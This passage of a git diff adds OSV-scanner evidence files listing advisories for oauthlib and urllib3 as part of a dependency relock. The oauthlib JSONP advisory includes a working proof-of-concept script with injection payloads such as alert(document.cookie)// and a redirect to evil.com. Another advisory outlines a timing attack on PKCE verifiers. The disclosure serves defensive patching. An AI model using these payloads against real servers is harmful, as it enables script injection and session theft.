"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + }, + { + "package": { + "name": "urllib3", + "version": "2.7.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-8988-9cw3-xx77" + ], + "aliases": [ + "CVE-2026-97687", + "GHSA-8988-9cw3-xx77" + ], + "max_severity": "7.6" + }, + { + "ids": [ + "GHSA-gh4c-6fx4-qh6g" + ], + "aliases": [ + "CVE-2026-97688", + "GHSA-gh4c-6fx4-qh6g" + ], + "max_severity": "6.9" + }, + { + "ids": [ + "GHSA-vxq7-64xx-v4gw" + ], + "aliases": [ + "CVE-2026-97689", + "GHSA-vxq7-64xx-v4gw" + ], + "max_severity": "8.9" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-8988-9cw3-xx77/GHSA-8988-9cw3-xx77.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.26.0" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.26.0", + "1.26.1", + "1.26.10", + "1.26.11", + "1.26.12", + "1.26.13", + "1.26.14", + "1.26.15", + "1.26.16", + "1.26.17", + "1.26.18", + "1.26.19", + "1.26.2", + "1.26.20", + "1.26.3", + "1.26.4", + "1.26.5", + "1.26.6", + "1.26.7", + "1.26.8", + "1.26.9", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.0a3", + "2.0.0a4", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.2.3", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.6.1", + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97687" + ], + "database_specific": { + "cwe_ids": [ + "CWE-295", + "CWE-440" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T14:46:04Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "HIGH" + }, + "details": "## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.", + "id": "GHSA-8988-9cw3-xx77", + "modified": "2026-09-30T15:00:05.369237042Z", + "published": "2026-09-30T14:46:04Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97687" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/pull/5093" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: HTTPS proxy TLS configuration may be ignored or overridden" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gh4c-6fx4-qh6g/GHSA-gh4c-6fx4-qh6g.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.6.2" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97688" + ], + "database_specific": { + "cwe_ids": [ + "CWE-835" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:00:38Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "MODERATE" + }, + "details": "### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.", + "id": "GHSA-gh4c-6fx4-qh6g", + "modified": "2026-09-30T15:15:04.066660799Z", + "published": "2026-09-30T15:00:38Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97688" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: Chunked Deflate streaming can enter an infinite loop" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vxq7-64xx-v4gw/GHSA-vxq7-64xx-v4gw.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.10.3" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.10.3", + "1.10.4", + "1.11", + "1.12", + "1.13", + "1.13.1", + "1.14", + "1.15", + "1.15.1", + "1.16", + "1.17", + "1.18", + "1.18.1", + "1.19", + "1.19.1", + "1.20", + "1.21", + "1.21.1", + "1.22", + "1.23", + "1.24", + "1.24.1", + "1.24.2", + "1.24.3", + "1.25", + "1.25.1", + "1.25.10", + "1.25.11", + "1.25.2", + "1.25.3", + "1.25.4", + "1.25.5", + "1.25.6", + "1.25.7", + "1.25.8", + "1.25.9", + "1.26.0", + "1.26.1", + "1.26.10", + "1.26.11", + "1.26.12", + "1.26.13", + "1.26.14", + "1.26.15", + "1.26.16", + "1.26.17", + "1.26.18", + "1.26.19", + "1.26.2", + "1.26.20", + "1.26.3", + "1.26.4", + "1.26.5", + "1.26.6", + "1.26.7", + "1.26.8", + "1.26.9", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.0a3", + "2.0.0a4", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.2.3", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.6.1", + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97689" + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T14:46:18Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "HIGH" + }, + "details": "## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.", + "id": "GHSA-vxq7-64xx-v4gw", + "modified": "2026-09-30T15:00:05.904945330Z", + "published": "2026-09-30T14:46:18Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97689" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt new file mode 100644 index 000000000..753e3d25a --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt @@ -0,0 +1,653 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/empty-config.toml", "--no-resolve", "--lockfile=requirements.txt:/baseline.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T15:47:24.993825+00:00 +ended_utc: 2026-09-30T15:47:25.549845+00:00 +exit_code: 1 + +stdout: +{ + "results": [ + { + "source": { + "path": "/baseline.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while 